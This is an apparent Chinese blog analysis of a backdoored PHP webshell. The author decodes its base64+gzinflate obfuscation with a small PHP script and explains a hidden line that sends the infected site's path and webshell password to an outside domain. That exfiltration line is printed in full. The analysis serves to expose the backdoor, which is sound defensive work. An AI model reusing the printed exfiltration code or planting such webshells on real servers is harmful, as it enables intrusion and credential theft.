PHP大马,用php写的木马文件,一般自带提权,操作数据库,反弹shell,文件下载,端口扫描等功能。网上很多地方都能下载到这些木马,但是大部门大马都会自带有后门,也就是当你上传木马到别人的服务器上的时候,该大马的制作者同样会通过后门获得服务器的权限。今天就来分析一波该大马中的后门。
分析大马文件
打开下载的php大马,可以看出该大马是经过加密了的。
加密不用说,一看就是有后门
从源码开头可以看见
eval(gzinflate(base64_decode("
base64+gzinflate压缩编码(加密)过的文件通常是以 <? ev al(gzinflate(base64_decode
所以这个大马的核心文件是经过base64+gzinflate压缩编码后的
这种编码方式非常容易解密
我们直接用脚本直接解压
<?php
header("Content-type: text/html; charset=utf-8");
$decode = '这里是加密的字符串';
$decode = gzinflate(base64_decode($decode));
$fopen = fopen('out.txt',"wb");
fwrite($fopen,$decode);
fclose($fopen);
//解密后会放在同目录下的out.txt里面
echo "解码成功<a href='out.txt'>点我查看</a>";
?>
运行一个脚本查看解码后的文件
以下是解码后的源码
代码太长了
各位师傅打开下面的链接再看吧
我们来看一下第一段这个可以代码
@file_get_contents(base64_decode('aHR0cDovLzQ1Njc3Nzg5LmNvbS8/aG09').urlencode(base64_decode('aHR0cDovLw==').$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."||".$password)."&bz=php");
base64_decode很明显又是base64 我们直接www.baidu.com找个base64解密
好啊,太好了,真就一个后门,黑吃黑啊
我们接下来看看下一个
又是一个base64,直接解码
我们接下看再看后面的PHP函数
$_SERVER['HTTP_HOST']
接触过PHP的小伙伴应该知道这个函数的意思
在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息
也就是获取当前域名
xxx.xxx
我们再看第二个函数
$_SERVER['PHP_SELF']
获取当前页面地址
通过上面的$_SERVER['HTTP_HOST']函数
这段代码可以获取当前打开PHP大马的域名和路径
xxx.xxx/xxx/xxx.php
http://45677789.com/?hm=http://www.test.com/webshell/webshell.php||admin&bz=php
我们接下来看第三个参数
.$password
获取当前大马密码
最后面的
bz=php
只起到一个备注作用,应该是告诉作者这个不是PHP马
我们看一下这段后门的运行结果
基本可以确定这个php大马存在后门的,这个url链接的hm参数会把我们机器的脚本路径和密码传到45677789.com目标服务器上
我去whois了一下这个箱子的域名。发现这个域名在2015年就已经注册了
前几年这个马满天都是,现在也很多人用这个马,不知道已经有多少人被黑吃黑了